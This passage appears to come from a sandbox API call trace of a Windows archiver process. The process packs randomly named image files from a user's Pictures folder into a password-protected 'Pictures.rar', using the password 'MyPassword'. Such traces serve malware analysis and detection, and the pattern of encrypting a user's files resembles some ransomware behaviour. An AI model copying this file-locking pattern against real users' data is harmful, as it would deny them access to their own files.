FindFirstFileW (in: lpFileName="1Uee5Fu 2XCwi8fG.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0bbf2350 [0063.427] FindClose (in: hFindFile=0x28b0bbf2350 | out: hFindFile=0x28b0bbf2350) returned 1 [0063.427] CreateFileW (lpFileName="1Uee5Fu 2XCwi8fG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\1uee5fu 2xcwi8fg.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0063.427] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.427] GetTickCount () returned 0x25c5e [0063.427] GetLastError () returned 0x0 [0063.427] SetLastError (dwErrCode=0x0) [0063.427] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0063.427] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0063.427] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbd40, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.427] SetWindowTextW (hWnd=0x102c8, lpString=" 0%") returned 1 [0063.428] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0063.429] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.429] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0063.429] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.429] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0063.429] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="17Kei.bmp") returned 9 [0063.429] SetWindowTextW (hWnd=0x102c6, lpString="1Uee5Fu 2XCwi8fG.gif") returned 1 [0063.430] GetTickCount () returned 0x25c5e [0063.430] UpdateWindow (hWnd=0x102be) returned 1 [0063.430] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0063.430] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0063.430] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0063.430] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0063.430] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x391)) [0063.430] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0063.430] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15475913466) returned 1 [0063.431] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x12530, lpOverlapped=0x0) returned 1 [0063.431] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71e570, nNumberOfBytesToRead=0xedad0, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71e570*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0063.431] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.431] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.431] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb10 [0063.431] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0063.431] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f720, Size=0x48) returned 0x28b084f9de0 [0063.431] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0063.431] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0063.431] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9430 [0063.431] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0063.431] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0063.431] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f900 [0063.431] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0063.431] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd80 | out: hHeap=0x28b08430000) returned 1 [0063.431] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f900 | out: hHeap=0x28b08430000) returned 1 [0063.431] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb10, Size=0x48) returned 0x28b084f9660 [0063.431] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9660, Size=0x7a) returned 0x28b084eca70 [0063.431] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0063.431] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eca70 | out: hHeap=0x28b08430000) returned 1 [0063.431] GetTickCount () returned 0x25c5e [0063.431] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15476004927) returned 1 [0063.431] GetTickCount () returned 0x25c5e [0063.431] GetTickCount () returned 0x25c5e [0063.432] GetTickCount () returned 0x25c5e [0063.432] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22f990) returned 0x0 [0063.432] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f990, hwnd=0x102be, tbpFlags=2) returned 0x0 [0063.432] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f990, hwnd=0x102be, ullCompleted=0x1e3fe, ullTotal=0x2141be) returned 0x0 [0063.433] TaskbarList:IUnknown:Release (This=0x28b0a22f990) returned 0x0 [0063.433] GetLastError () returned 0x36b7 [0063.433] SetLastError (dwErrCode=0x36b7) [0063.433] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0063.433] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0063.433] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0063.433] SetWindowTextW (hWnd=0x102de, lpString=" 5%") returned 1 [0063.434] GetLastError () returned 0x0 [0063.434] SetLastError (dwErrCode=0x0) [0063.434] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0063.434] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.434] SetWindowTextW (hWnd=0x102da, lpString=" 39%") returned 1 [0063.434] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x5, lParam=0x0) returned 0x2 [0063.434] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.434] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.434] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.434] ResetEvent (hEvent=0x344) returned 1 [0063.434] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.434] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.436] ResetEvent (hEvent=0x344) returned 1 [0063.436] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.436] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.439] ResetEvent (hEvent=0x344) returned 1 [0063.439] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.440] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.448] GetTickCount () returned 0x25c6e [0063.448] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15477639772) returned 1 [0063.448] GetTickCount () returned 0x25c6e [0063.448] GetTickCount () returned 0x25c6e [0063.448] GetTickCount () returned 0x25c6e [0063.449] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0063.449] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0063.449] GetFocus () returned 0x102e2 [0063.449] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0063.449] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0063.449] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.449] ResetEvent (hEvent=0x33c) returned 1 [0063.449] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.449] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0063.450] ResetEvent (hEvent=0x33c) returned 1 [0063.450] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.450] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0063.452] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0063.452] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.452] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0xbf96 [0063.452] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0xbffe [0063.452] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0063.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.452] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0063.452] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0063.452] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0063.453] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x125e0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x125e0, lpOverlapped=0x0) returned 1 [0063.454] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0063.454] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.454] SetFilePointer (in: hFile=0x32c, lDistanceToMove=49046, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xbf96 [0063.454] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0xbf96 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0063.454] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcc0, Size=0x48) returned 0x28b084f8ee0 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f750 [0063.454] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f750, Size=0x48) returned 0x28b084f9200 [0063.454] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0063.454] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f960 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f780 [0063.454] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f780 | out: hHeap=0x28b08430000) returned 1 [0063.454] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f960 | out: hHeap=0x28b08430000) returned 1 [0063.454] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9bb0 [0063.454] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9bb0, Size=0x7a) returned 0x28b084ed6d0 [0063.454] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed6d3*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed6d3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x68, lpOverlapped=0x0) returned 1 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb40 [0063.454] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x68) returned 0x28b08462cd0 [0063.454] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9200 | out: hHeap=0x28b08430000) returned 1 [0063.454] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed6d0 | out: hHeap=0x28b08430000) returned 1 [0063.454] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1e5de [0063.454] CloseHandle (hObject=0x350) returned 1 [0063.455] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.455] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.455] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0063.455] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.455] FindFirstFileW (in: lpFileName="5qnTEjfG9KjtBUIojvlC.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0bbf2710 [0063.455] FindClose (in: hFindFile=0x28b0bbf2710 | out: hFindFile=0x28b0bbf2710) returned 1 [0063.455] CreateFileW (lpFileName="5qnTEjfG9KjtBUIojvlC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\5qntejfg9kjtbuiojvlc.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0063.455] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.455] GetTickCount () returned 0x25c7e [0063.455] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.455] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0063.455] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.455] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0063.455] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="1Uee5Fu 2XCwi8fG.gif") returned 20 [0063.455] SetWindowTextW (hWnd=0x102c6, lpString="5qnTEjfG9KjtBUIojvlC.png") returned 1 [0063.456] GetTickCount () returned 0x25c7e [0063.456] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0063.456] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0063.457] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0063.457] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0063.457] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x3b0)) [0063.457] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0063.457] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15478554322) returned 1 [0063.457] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x11fa7, lpOverlapped=0x0) returned 1 [0063.457] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71dfe7, nNumberOfBytesToRead=0xee059, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71dfe7*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0063.457] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.457] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.457] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f8a0 [0063.457] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0063.457] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9bb0 [0063.457] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6f10 [0063.457] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0063.457] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f98e0 [0063.457] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6f10 | out: hHeap=0x28b08430000) returned 1 [0063.457] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0063.458] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0063.458] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0063.458] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0063.458] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0063.458] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f8a0, Size=0x48) returned 0x28b084f9bb0 [0063.458] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9bb0, Size=0x7a) returned 0x28b084ece60 [0063.458] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0063.458] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0063.458] GetTickCount () returned 0x25c7e [0063.458] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15478645452) returned 1 [0063.458] GetTickCount () returned 0x25c7e [0063.458] GetTickCount () returned 0x25c7e [0063.458] GetTickCount () returned 0x25c7e [0063.458] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.458] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.458] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.458] ResetEvent (hEvent=0x344) returned 1 [0063.458] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.458] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.459] ResetEvent (hEvent=0x344) returned 1 [0063.459] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.460] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.461] ResetEvent (hEvent=0x344) returned 1 [0063.461] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.461] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.463] GetTickCount () returned 0x25c7e [0063.463] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15479195811) returned 1 [0063.463] GetTickCount () returned 0x25c7e [0063.463] GetTickCount () returned 0x25c7e [0063.463] GetTickCount () returned 0x25c7e [0063.463] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0063.463] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0063.464] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.467] ResetEvent (hEvent=0x33c) returned 1 [0063.467] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.467] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0063.468] ResetEvent (hEvent=0x33c) returned 1 [0063.468] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.468] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0063.469] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0063.469] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.469] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1e5de [0063.469] SetFilePointer (in: hFile=0x32c, lDistanceToMove=108, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1e64a [0063.469] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0063.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.469] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0063.469] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0063.469] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0063.469] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x12050, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x12050, lpOverlapped=0x0) returned 1 [0063.471] PeekMessageW (in: 